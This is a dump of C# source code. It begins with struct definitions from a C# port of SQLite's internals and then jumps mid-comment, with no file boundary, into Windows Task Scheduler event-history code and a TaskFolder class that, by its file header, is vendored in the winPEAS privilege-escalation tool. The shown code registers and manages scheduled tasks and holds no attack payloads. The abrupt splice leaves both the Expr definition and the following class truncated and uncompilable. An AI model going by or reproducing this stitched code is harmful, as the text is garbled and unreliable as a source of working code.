database connection */ public u8 enc; /* Text encoding - one of the TEXT_Utf* values */ public u16 nField; /* Number of entries in aColl[] */ public u8[] aSortOrder; /* If defined an aSortOrder[i] is true, sort DESC */ public CollSeq[] aColl = new CollSeq[1]; /* Collating sequence for each term of the key */ public KeyInfo Copy() { return (KeyInfo)MemberwiseClone(); } }; /* ** An instance of the following structure holds information about a ** single index record that has already been parsed out into individual ** values. ** ** A record is an object that contains one or more fields of data. ** Records are used to store the content of a table row and to store ** the key of an index. A blob encoding of a record is created by ** the OP_MakeRecord opcode of the VDBE and is disassembled by the ** OP_Column opcode. ** ** This structure holds a record that has already been disassembled ** into its constituent fields. */ public class UnpackedRecord { public KeyInfo pKeyInfo; /* Collation and sort-order information */ public u16 nField; /* Number of entries in apMem[] */ public u16 flags; /* Boolean settings. UNPACKED_... below */ public i64 rowid; /* Used by UNPACKED_PREFIX_SEARCH */ public Mem[] aMem; /* Values */ }; /* ** Allowed values of UnpackedRecord.flags */ //#define UNPACKED_NEED_FREE 0x0001 /* Memory is from sqlite3Malloc() */ //#define UNPACKED_NEED_DESTROY 0x0002 /* apMem[]s should all be destroyed */ //#define UNPACKED_IGNORE_ROWID 0x0004 /* Ignore trailing rowid on key1 */ //#define UNPACKED_INCRKEY 0x0008 /* Make this key an epsilon larger */ //#define UNPACKED_PREFIX_MATCH 0x0010 /* A prefix match is considered OK */ //#define UNPACKED_PREFIX_SEARCH 0x0020 /* A prefix match is considered OK */ const int UNPACKED_NEED_FREE = 0x0001; /* Memory is from sqlite3Malloc() */ const int UNPACKED_NEED_DESTROY = 0x0002; /* apMem[]s should all be destroyed */ const int UNPACKED_IGNORE_ROWID = 0x0004; /* Ignore trailing rowid on key1 */ const int UNPACKED_INCRKEY = 0x0008; /* Make this key an epsilon larger */ const int UNPACKED_PREFIX_MATCH = 0x0010; /* A prefix match is considered OK */ const int UNPACKED_PREFIX_SEARCH = 0x0020; /* A prefix match is considered OK */ /* ** Each SQL index is represented in memory by an ** instance of the following structure. ** ** The columns of the table that are to be indexed are described ** by the aiColumn[] field of this structure. For example, suppose ** we have the following table and index: ** ** CREATE TABLE Ex1(c1 int, c2 int, c3 text); ** CREATE INDEX Ex2 ON Ex1(c3,c1); ** ** In the Table structure describing Ex1, nCol==3 because there are ** three columns in the table. In the Index structure describing ** Ex2, nColumn==2 since 2 of the 3 columns of Ex1 are indexed. ** The value of aiColumn is {2, 0}. aiColumn[0]==2 because the ** first column to be indexed (c3) has an index of 2 in Ex1.aCol[]. ** The second column to be indexed (c1) has an index of 0 in ** Ex1.aCol[], hence Ex2.aiColumn[1]==0. ** ** The Index.onError field determines whether or not the indexed columns ** must be unique and what to do if they are not. When Index.onError=OE_None, ** it means this is not a unique index. Otherwise it is a unique index ** and the value of Index.onError indicate the which conflict resolution ** algorithm to employ whenever an attempt is made to insert a non-unique ** element. */ public class Index { public string zName; /* Name of this index */ public int nColumn; /* Number of columns in the table used by this index */ public int[] aiColumn; /* Which columns are used by this index. 1st is 0 */ public int[] aiRowEst; /* Result of ANALYZE: Est. rows selected by each column */ public Table pTable; /* The SQL table being indexed */ public int tnum; /* Page containing root of this index in database file */ public u8 onError; /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ public u8 autoIndex; /* True if is automatically created (ex: by UNIQUE) */ public string zColAff; /* String defining the affinity of each column */ public Index pNext; /* The next index associated with the same table */ public Schema pSchema; /* Schema containing this index */ public u8[] aSortOrder; /* Array of size Index.nColumn. True==DESC, False==ASC */ public string[] azColl; /* Array of collation sequence names for index */ public Index Copy() { if ( this == null ) return null; else { Index cp = (Index)MemberwiseClone(); return cp; } } }; /* ** Each token coming out of the lexer is an instance of ** this structure. Tokens are also used as part of an expression. ** ** Note if Token.z==0 then Token.dyn and Token.n are undefined and ** may contain random values. Do not make any assumptions about Token.dyn ** and Token.n when Token.z==0. */ public class Token { #if DEBUG_CLASS_TOKEN || DEBUG_CLASS_ALL public string _z; /* Text of the token. Not NULL-terminated! */ public bool dyn;// : 1; /* True for malloced memory, false for static */ public Int32 _n;// : 31; /* Number of characters in this token */ public string z { get { return _z; } set { _z = value; } } public Int32 n { get { return _n; } set { _n = value; } } #else public string z; /* Text of the token. Not NULL-terminated! */ public Int32 n; /* Number of characters in this token */ #endif public Token() { this.z = null; this.n = 0; } public Token( string z, Int32 n ) { this.z = z; this.n = n; } public Token Copy() { if ( this == null ) return null; else { Token cp = (Token)MemberwiseClone(); if ( z == null || z.Length == 0 ) cp.n = 0; else if ( n > z.Length ) cp.n = z.Length; return cp; } } } /* ** An instance of this structure contains information needed to generate ** code for a SELECT that contains aggregate functions. ** ** If Expr.op==TK_AGG_COLUMN or TK_AGG_FUNCTION then Expr.pAggInfo is a ** pointer to this structure. The Expr.iColumn field is the index in ** AggInfo.aCol[] or AggInfo.aFunc[] of information needed to generate ** code for that node. ** ** AggInfo.pGroupBy and AggInfo.aFunc.pExpr point to fields within the ** original Select structure that describes the SELECT statement. These ** fields do not need to be freed when deallocating the AggInfo structure. */ public class AggInfo_col { /* For each column used in source tables */ public Table pTab; /* Source table */ public int iTable; /* VdbeCursor number of the source table */ public int iColumn; /* Column number within the source table */ public int iSorterColumn; /* Column number in the sorting index */ public int iMem; /* Memory location that acts as accumulator */ public Expr pExpr; /* The original expression */ }; public class AggInfo_func { /* For each aggregate function */ public Expr pExpr; /* Expression encoding the function */ public FuncDef pFunc; /* The aggregate function implementation */ public int iMem; /* Memory location that acts as accumulator */ public int iDistinct; /* Ephemeral table used to enforce DISTINCT */ } public class AggInfo { public u8 directMode; /* Direct rendering mode means take data directly ** from source tables rather than from accumulators */ public u8 useSortingIdx; /* In direct mode, reference the sorting index rather ** than the source table */ public int sortingIdx; /* VdbeCursor number of the sorting index */ public ExprList pGroupBy; /* The group by clause */ public int nSortingColumn; /* Number of columns in the sorting index */ public AggInfo_col[] aCol; public int nColumn; /* Number of used entries in aCol[] */ public int nColumnAlloc; /* Number of slots allocated for aCol[] */ public int nAccumulator; /* Number of columns that show through to the output. ** Additional columns are used only as parameters to ** aggregate functions */ public AggInfo_func[] aFunc; public int nFunc; /* Number of entries in aFunc[] */ public int nFuncAlloc; /* Number of slots allocated for aFunc[] */ public AggInfo Copy() { if ( this == null ) return null; else { AggInfo cp = (AggInfo)MemberwiseClone(); if ( pGroupBy != null ) cp.pGroupBy = pGroupBy.Copy(); return cp; } } }; /* ** Each node of an expression in the parse tree is an instance ** of this structure. ** ** Expr.op is the opcode. The integer parser token codes are reused ** as opcodes here. For example, the parser defines TK_GE to be an integer ** code representing the ">=" operator. This same integer code is reused ** to represent the greater-than-or-equal-to operator in the expression ** tree. ** ** If the expression is an SQL literal (TK_INTEGER, TK_FLOAT, TK_BLOB, ** or TK_STRING), then Expr.token contains the text of the SQL literal. If ** the expression is a variable (TK_VARIABLE), then Expr.token contains the ** variable name. Finally, if the expression is an SQL function (TK_FUNCTION), ** then Expr.token contains the name of the function. ** ** Expr.pRight and Expr.pLeft are the left and right subexpressions of a ** binary operator. Either or both may be NULL. ** ** Expr.x.pList is a list of arguments if the expression is an SQL function, ** a CASE expression or an IN expression of the form " IN (, ...)". ** Expr.x.pSelect is used if the expression is a sub-select or an expression of ** the form " IN (SELECT ...)". If the EP_xIsSelect bit is set in the ** Expr.flags mask, then Expr.x.pSelect is valid. Otherwise, Expr.x.pList is ** valid. ** ** An expression of the form ID or ID.ID refers to a column in a table. ** For such expressions, Expr.op is set to TK_COLUMN and Expr.iTable is ** the integer cursor number of a VDBE cursor pointing to that table and ** Expr.iColumn is the column number for the specific column. If the ** expression is used as a result in an aggregate SELECT, then the ** value is also stored in the Expr.iAgg column in the aggregate so that ** it can be accessed after all aggregates are computed. ** ** If the expression is an unbound variable marker (a question mark ** character '?' in the original SQL) then the Expr.iTable holds the index ** number for that variable. ** ** If the expression is a subquery then Expr.iColumn holds an integer ** register number containing the result of the subquery. If the ** subquery gives a constant result, then iTable is -1. If the subquery ** gives a different answer at different times during statement processing ** then iTable is the address of a subroutine that computes the subquery. ** ** If the Expr is of type OP_Column, and the table it is selecting from ** is a disk table or the "old.*" pseudo-table, then pTab points to the ** corresponding table definition. ** ** ALLOCATION NOTES: ** ** Expr objects can use a lot of memory space in database schema. To ** help reduce memory requirements, sometimes an Expr object will be ** truncated. And to reduce the number of memory allocations, sometimes ** two or more Expr objects will be stored in a single memory allocation, ** together with Expr.zToken strings. ** ** If the EP_Reduced and EP_TokenOnly flags are set when ** an Expr object is truncated. When EP_Reduced is set, then all ** the child Expr objects in the Expr.pLeft and Expr.pRight subtrees ** are contained within the same memory allocation. Note, however, that ** the subtrees in Expr.x.pList or Expr.x.pSelect are always separately ** allocated, regardless of whether or not EP_Reduced is set. */ public class Expr { #if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL public u8 _op; /* Operation performed by this node */ public u8 op { get { return _op; } set { _op = value; } } #else public u8 op; /* Operation performed by this node */ #endif public char affinity; /* The affinity of the column or 0 if not a column */ #if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL public u16 _flags; /* Various flags. EP_* See below */ public u16 flags { get { return _flags; } set { _flags = value; } } public struct _u { public string _zToken; /* Token value. Zero terminated and dequoted */ public string zToken { get { return _zToken; } set { _zToken = value; } } public int iValue; /* Integer value if EP_IntValue */ } #else public struct _u { public string zToken; /* Token value. Zero terminated and dequoted */ public int iValue; /* Integer value if EP_IntValue */ } public u16 flags; /* Various flags. EP_* See below */ #endif public _u u; /* If the EP_TokenOnly flag is set in the Expr.flags mask, then no ** space is allocated for the fields below this point. An attempt to ** access them will result in a segfault or malfunction. *********************************************************************/ public Expr pLeft; /* Left subnode */ public Expr pRight; /* Right subnode */ public struct _x { public ExprList pList; /* Function arguments or in " IN ( IN ({0}" + " " + ""; const string OR = " or "; const string AND = " and "; System.Text.StringBuilder sb = new System.Text.StringBuilder("*"); if (eventIDs != null && eventIDs.Length > 0) { if (sb.Length > 1) sb.Append(AND); sb.AppendFormat("({0})", string.Join(OR, Array.ConvertAll(eventIDs, i => $"EventID={i}"))); } if (levels != null && levels.Length > 0) { if (sb.Length > 1) sb.Append(AND); sb.AppendFormat("({0})", string.Join(OR, Array.ConvertAll(levels, i => $"Level={i}"))); } if (startTime.HasValue) { if (sb.Length > 1) sb.Append(AND); sb.AppendFormat("TimeCreated[@SystemTime>='{0}']", System.Xml.XmlConvert.ToString(startTime.Value, System.Xml.XmlDateTimeSerializationMode.RoundtripKind)); } if (sb.Length > 1) { sb.Insert(1, "[System[Provider[@Name='Microsoft-Windows-TaskScheduler'] and "); sb.Append(']'); } if (!string.IsNullOrEmpty(taskName)) { if (sb.Length == 1) sb.Append('['); else sb.Append("]" + AND + "*["); sb.AppendFormat("EventData[Data[@Name='TaskName']='{0}']", taskName); } if (sb.Length > 1) sb.Append(']'); return string.Format(queryString, sb); } private void Initialize(string machineName, string query, bool revDir, string domain = null, string user = null, string password = null) { if (!IsVistaOrLater) throw new NotSupportedException("Enumeration of task history not available on systems prior to Windows Vista and Windows Server 2008."); System.Security.SecureString spwd = null; if (password != null) { spwd = new System.Security.SecureString(); foreach (char c in password) spwd.AppendChar(c); } Query = new EventLogQuery(TSEventLogPath, PathType.LogName, query) { ReverseDirection = revDir }; if (machineName != null && machineName != "." && !machineName.Equals(Environment.MachineName, StringComparison.InvariantCultureIgnoreCase)) Query.Session = new EventLogSession(machineName, domain, user, spwd, SessionAuthentication.Default); } /// /// Gets the total number of events for this task. /// public long Count { get { using (EventLogReader log = new EventLogReader(Query)) { long seed = 64L, l = 0L, h = seed; while (log.ReadEvent() != null) log.Seek(System.IO.SeekOrigin.Begin, l += seed); bool foundLast = false; while (l > 0L && h >= 1L) { if (foundLast) l += (h /= 2L); else l -= (h /= 2L); log.Seek(System.IO.SeekOrigin.Begin, l); foundLast = (log.ReadEvent() != null); } return foundLast ? l + 1L : l; } } } /// /// Gets or sets a value indicating whether this is enabled. /// /// /// true if enabled; otherwise, false. /// public bool Enabled { get { if (!IsVistaOrLater) return false; using (var cfg = new EventLogConfiguration(TSEventLogPath, Query.Session)) return cfg.IsEnabled; } set { if (!IsVistaOrLater) throw new NotSupportedException("Task history not available on systems prior to Windows Vista and Windows Server 2008."); using (var cfg = new EventLogConfiguration(TSEventLogPath, Query.Session)) { if (cfg.IsEnabled != value) { cfg.IsEnabled = value; cfg.SaveChanges(); } } } } /// /// Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). /// /// /// true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. /// [System.ComponentModel.DefaultValue(false)] public bool EnumerateInReverse { get; set; } /// /// Returns an enumerator that iterates through the collection. /// /// /// A that can be used to iterate through the collection. /// IEnumerator IEnumerable.GetEnumerator() => GetEnumerator(EnumerateInReverse); /// /// Returns an enumerator that iterates through the collection. /// /// if set to true reverse. /// /// A that can be used to iterate through the collection. /// [NotNull] public TaskEventEnumerator GetEnumerator(bool reverse) { Query.ReverseDirection = !reverse; return new TaskEventEnumerator(new EventLogReader(Query)); } /// /// Returns an enumerator that iterates through a collection. /// /// /// An object that can be used to iterate through the collection. /// System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator(false); internal EventLogQuery Query { get; private set; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskFolder.cs ================================================ using System; using System.Collections.Generic; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using System.Text.RegularExpressions; using winPEAS.TaskScheduler.V1; using winPEAS.TaskScheduler.V2; namespace winPEAS.TaskScheduler { /// /// Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. /// [PublicAPI] public sealed class TaskFolder : IDisposable, IComparable { private ITaskScheduler v1List; private readonly ITaskFolder v2Folder; internal const string rootString = @"\"; internal TaskFolder([NotNull] TaskService svc) { TaskService = svc; v1List = svc.v1TaskScheduler; } internal TaskFolder([NotNull] TaskService svc, [NotNull] ITaskFolder iFldr) { TaskService = svc; v2Folder = iFldr; } /// /// Releases all resources used by this class. /// public void Dispose() { if (v2Folder != null) Marshal.ReleaseComObject(v2Folder); v1List = null; } /// /// Gets a which enumerates all the tasks in this and all subfolders. /// /// /// A for all instances. /// [NotNull, ItemNotNull] public IEnumerable AllTasks => EnumerateFolderTasks(this); /// /// Gets the name that is used to identify the folder that contains a task. /// [NotNull] public string Name => (v2Folder == null) ? rootString : v2Folder.Name; /// /// Gets the parent folder of this folder. /// /// /// The parent folder, or null if this folder is the root folder. /// public TaskFolder Parent { get { // V1 only has the root folder if (v2Folder == null) return null; string path = v2Folder.Path; string parentPath = System.IO.Path.GetDirectoryName(path); if (string.IsNullOrEmpty(parentPath)) return null; return TaskService.GetFolder(parentPath); } } /// /// Gets the path to where the folder is stored. /// [NotNull] public string Path => (v2Folder == null) ? rootString : v2Folder.Path; [NotNull] internal TaskFolder GetFolder([NotNull] string path) { if (v2Folder != null) return new TaskFolder(TaskService, v2Folder.GetFolder(path)); throw new NotV1SupportedException(); } /// /// Gets or sets the security descriptor of the task. /// /// The security descriptor. [Obsolete("This property will be removed in deference to the GetAccessControl, GetSecurityDescriptorSddlForm, SetAccessControl and SetSecurityDescriptorSddlForm methods.")] public GenericSecurityDescriptor SecurityDescriptor { #pragma warning disable 0618 get { return GetSecurityDescriptor(); } set { SetSecurityDescriptor(value); } #pragma warning restore 0618 } /// /// Gets all the subfolders in the folder. /// [NotNull, ItemNotNull] public TaskFolderCollection SubFolders { get { try { if (v2Folder != null) return new TaskFolderCollection(this, v2Folder.GetFolders(0)); } catch { } return new TaskFolderCollection(); } } /// /// Gets a collection of all the tasks in the folder. /// [NotNull, ItemNotNull] public TaskCollection Tasks => GetTasks(); /// /// Gets or sets the that manages this task. /// /// The task service. public TaskService TaskService { get; } /// /// Compares the current object with another object of the same type. /// /// An object to compare with this object. /// /// A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . /// int IComparable.CompareTo(TaskFolder other) => string.Compare(Path, other.Path, true); /// /// Creates a folder for related tasks. Not available to Task Scheduler 1.0. /// /// The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// The security descriptor associated with the folder. /// A instance that represents the new subfolder. [Obsolete("This method will be removed in deference to the CreateFolder(string, TaskSecurity) method.")] public TaskFolder CreateFolder([NotNull] string subFolderName, GenericSecurityDescriptor sd) => CreateFolder(subFolderName, sd == null ? null : sd.GetSddlForm(Task.defaultAccessControlSections)); /// /// Creates a folder for related tasks. Not available to Task Scheduler 1.0. /// /// The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// The task security associated with the folder. /// A instance that represents the new subfolder. public TaskFolder CreateFolder([NotNull] string subFolderName, [NotNull] TaskSecurity folderSecurity) { if (folderSecurity == null) throw new ArgumentNullException(nameof(folderSecurity)); return CreateFolder(subFolderName, folderSecurity.GetSecurityDescriptorSddlForm(Task.defaultAccessControlSections)); } /// /// Creates a folder for related tasks. Not available to Task Scheduler 1.0. /// /// The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// The security descriptor associated with the folder. /// Set this value to false to avoid having an exception called if the folder already exists. /// A instance that represents the new subfolder. /// Security descriptor mismatch between specified credentials and credentials on existing folder by same name. /// Invalid SDDL form. /// Not supported under Task Scheduler 1.0. public TaskFolder CreateFolder([NotNull] string subFolderName, string sddlForm = null, bool exceptionOnExists = true) { if (v2Folder == null) throw new NotV1SupportedException(); ITaskFolder ifld = null; try { ifld = v2Folder.CreateFolder(subFolderName, sddlForm); } catch (COMException ce) { int serr = ce.ErrorCode & 0x0000FFFF; if (serr == 0xb7) // ERROR_ALREADY_EXISTS { if (exceptionOnExists) throw; try { ifld = v2Folder.GetFolder(subFolderName); if (ifld != null && sddlForm != null && sddlForm.Trim().Length > 0) { string sd = ifld.GetSecurityDescriptor((int)Task.defaultSecurityInfosSections); if (string.Compare(sddlForm, sd, StringComparison.OrdinalIgnoreCase) != 0) throw new SecurityException("Security descriptor mismatch between specified credentials and credentials on existing folder by same name."); } } catch { if (ifld != null) Marshal.ReleaseComObject(ifld); throw; } } else if (serr == 0x534 || serr == 0x538 || serr == 0x539 || serr == 0x53A || serr == 0x519 || serr == 0x57) throw new ArgumentException(@"Invalid SDDL form", nameof(sddlForm), ce); else throw; } return new TaskFolder(TaskService, ifld); } /// /// Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. /// /// The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// Set this value to false to avoid having an exception called if the folder does not exist. /// Not supported under Task Scheduler 1.0. public void DeleteFolder([NotNull] string subFolderName, bool exceptionOnNotExists = true) { if (v2Folder != null) { try { v2Folder.DeleteFolder(subFolderName, 0); } catch (Exception e) { if (!(e is FileNotFoundException || e is DirectoryNotFoundException) || exceptionOnNotExists) throw; } } else throw new NotV1SupportedException(); } /// Deletes a task from the folder. /// /// The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' /// characters cannot be used to specify the parent task folder in the path. /// /// Set this value to false to avoid having an exception called if the task does not exist. public void DeleteTask([NotNull] string name, bool exceptionOnNotExists = true) { try { if (v2Folder != null) v2Folder.DeleteTask(name, 0); else { if (!name.EndsWith(".job", StringComparison.CurrentCultureIgnoreCase)) name += ".job"; v1List.Delete(name); } } catch (FileNotFoundException) { if (exceptionOnNotExists) throw; } } /// Returns an enumerable collection of folders that matches a specified filter and recursion option. /// An optional predicate used to filter the returned instances. /// An enumerable collection of folders that matches . [NotNull, ItemNotNull] public IEnumerable EnumerateFolders(Predicate filter = null) { foreach (var fld in SubFolders) { if (filter == null || filter(fld)) yield return fld; } } /// Returns an enumerable collection of tasks that matches a specified filter and recursion option. /// An optional predicate used to filter the returned instances. /// Specifies whether the enumeration should include tasks in any subfolders. /// An enumerable collection of directories that matches and . [NotNull, ItemNotNull] public IEnumerable EnumerateTasks(Predicate filter = null, bool recurse = false) => EnumerateFolderTasks(this, filter, recurse); /// Determines whether the specified , is equal to this instance. /// The to compare with this instance. /// true if the specified is equal to this instance; otherwise, false. public override bool Equals(object obj) { var folder = obj as TaskFolder; if (folder != null) return Path == folder.Path && TaskService.TargetServer == folder.TaskService.TargetServer && GetSecurityDescriptorSddlForm() == folder.GetSecurityDescriptorSddlForm(); return false; } /// /// Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the /// current object. /// /// A object that encapsulates the access control rules for the current folder. [NotNull] public TaskSecurity GetAccessControl() => GetAccessControl(Task.defaultAccessControlSections); /// /// Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by /// the current object. /// /// /// One of the values that specifies which group of access control entries to retrieve. /// /// A object that encapsulates the access control rules for the current folder. [NotNull] public TaskSecurity GetAccessControl(AccessControlSections includeSections) => new TaskSecurity(this, includeSections); /// Returns a hash code for this instance. /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. public override int GetHashCode() => new { A = Path, B = TaskService.TargetServer, C = GetSecurityDescriptorSddlForm() }.GetHashCode(); /// Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. /// Section(s) of the security descriptor to return. /// The security descriptor for the folder. [Obsolete("This method will be removed in deference to the GetAccessControl and GetSecurityDescriptorSddlForm methods.")] public GenericSecurityDescriptor GetSecurityDescriptor(SecurityInfos includeSections = Task.defaultSecurityInfosSections) => new RawSecurityDescriptor(GetSecurityDescriptorSddlForm(includeSections)); /// /// Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. /// /// Section(s) of the security descriptor to return. /// The security descriptor for the folder. /// Not supported under Task Scheduler 1.0. public string GetSecurityDescriptorSddlForm(SecurityInfos includeSections = Task.defaultSecurityInfosSections) { if (v2Folder != null) return v2Folder.GetSecurityDescriptor((int)includeSections); throw new NotV1SupportedException(); } /// /// Gets a collection of all the tasks in the folder whose name matches the optional . /// /// The optional name filter expression. /// Collection of all matching tasks. [NotNull, ItemNotNull] public TaskCollection GetTasks(Regex filter = null) { if (v2Folder != null) return new TaskCollection(this, v2Folder.GetTasks(1), filter); return new TaskCollection(TaskService, filter); } /// Imports a from an XML file. /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// The file containing the XML-formatted definition of the task. /// If set to , overwrites any existing task with the same name. /// A instance that represents the new task. /// Importing from an XML file is only supported under Task Scheduler 2.0. public Task ImportTask(string path, [NotNull] string xmlFile, bool overwriteExisting = true) => RegisterTask(path, File.ReadAllText(xmlFile), overwriteExisting ? TaskCreation.CreateOrUpdate : TaskCreation.Create); /// /// Registers (creates) a new task in the folder using XML to define the task. /// /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// An XML-formatted definition of the task. /// A union of flags. /// The user credentials used to register the task. /// The password for the userId used to register the task. /// A value that defines what logon technique is used to run the registered task. /// The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. /// A instance that represents the new task. /// " + /// "" + /// " " + /// " " + /// " S-1-5-18" + /// " " + /// " " + /// " " + /// " " + /// " 2017-09-04T14:04:03" + /// " " + /// " " + /// " " + /// " " + /// " " + /// " cmd" + /// " " + /// " " + /// ""; /// // Register the task in the root folder of the local machine using the SYSTEM account defined in XML /// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); /// ]]> public Task RegisterTask(string path, [NotNull] string xmlText, TaskCreation createType = TaskCreation.CreateOrUpdate, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null) { if (v2Folder != null) return Task.CreateTask(TaskService, v2Folder.RegisterTask(path, xmlText, (int)createType, userId, password, logonType, sddl)); TaskDefinition td = TaskService.NewTask(); XmlSerializationHelper.ReadObjectFromXmlText(xmlText, td); return RegisterTaskDefinition(path, td, createType, userId ?? td.Principal.ToString(), password, logonType == TaskLogonType.S4U ? td.Principal.LogonType : logonType, sddl); } /// /// Registers (creates) a task in a specified location using a instance to define a task. /// /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// The of the registered task. /// A instance that represents the new task. /// /// public Task RegisterTaskDefinition(string path, [NotNull] TaskDefinition definition) => RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate, definition.Principal.ToString(), null, definition.Principal.LogonType); /// /// Registers (creates) a task in a specified location using a instance to define a task. /// /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// The of the registered task. /// A union of flags. /// The user credentials used to register the task. /// The password for the userId used to register the task. /// A value that defines what logon technique is used to run the registered task. /// The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. /// /// A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. /// /// /// Task names may not include any characters which are invalid for file names. /// or /// Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. /// /// This LogonType is not supported on Task Scheduler 1.0. /// or /// Security settings are not available on Task Scheduler 1.0. /// or /// Registration triggers are not available on Task Scheduler 1.0. /// or /// XML validation not available on Task Scheduler 1.0. /// This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. /// /// This first example registers a simple task with a single trigger and action using the default security. /// /// This example registers that same task using the SYSTEM account. /// /// This example registers that same task using a specific username and password along with a security definition. /// public Task RegisterTaskDefinition([NotNull] string path, [NotNull] TaskDefinition definition, TaskCreation createType, string userId, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null) { if (definition.Actions.Count < 1 || definition.Actions.Count > 32) throw new ArgumentOutOfRangeException(nameof(definition.Actions), @"A task must be registered with at least one action and no more than 32 actions."); userId ??= definition.Principal.Account; if (userId == string.Empty) userId = null; User user = new User(userId); if (v2Folder != null) { definition.Actions.ConvertUnsupportedActions(); if (logonType == TaskLogonType.ServiceAccount) { if (string.IsNullOrEmpty(userId) || !user.IsServiceAccount) throw new ArgumentException(@"A valid system account name must be supplied for TaskLogonType.ServiceAccount. Valid entries are ""NT AUTHORITY\SYSTEM"", ""SYSTEM"", ""NT AUTHORITY\LOCALSERVICE"", or ""NT AUTHORITY\NETWORKSERVICE"".", nameof(userId)); if (password != null) throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.ServiceAccount.", nameof(password)); } /*else if ((LogonType == TaskLogonType.Password || LogonType == TaskLogonType.InteractiveTokenOrPassword || (LogonType == TaskLogonType.S4U && UserId != null && !user.IsCurrent)) && password == null) { throw new ArgumentException("A password must be supplied when specifying TaskLogonType.Password or TaskLogonType.InteractiveTokenOrPassword or TaskLogonType.S4U from another account.", nameof(password)); }*/ else if (logonType == TaskLogonType.Group && password != null) { throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.Group.", nameof(password)); } // The following line compensates for an omission in the native library that never actually sets the registration date (thanks ixm7). if (definition.RegistrationInfo.Date == DateTime.MinValue) definition.RegistrationInfo.Date = DateTime.Now; var iRegTask = v2Folder.RegisterTaskDefinition(path, definition.v2Def, (int)createType, userId ?? user.Name, password, logonType, sddl); if (createType == TaskCreation.ValidateOnly && iRegTask == null) return null; return Task.CreateTask(TaskService, iRegTask); } // Check for V1 invalid task names string invChars = Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars())); if (Regex.IsMatch(path, @"[" + invChars + @"]")) throw new ArgumentOutOfRangeException(nameof(path), @"Task names may not include any characters which are invalid for file names."); if (Regex.IsMatch(path, @"\.[^" + invChars + @"]{0,3}\z")) throw new ArgumentOutOfRangeException(nameof(path), @"Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library."); // Adds ability to set a password for a V1 task. Provided by Arcao. TaskFlags flags = definition.v1Task.GetFlags(); if (logonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password)) logonType = TaskLogonType.InteractiveToken; switch (logonType) { case TaskLogonType.Group: case TaskLogonType.S4U: case TaskLogonType.None: throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0."); case TaskLogonType.InteractiveToken: flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive); definition.v1Task.SetAccountInformation(user.Name, IntPtr.Zero); break; case TaskLogonType.ServiceAccount: 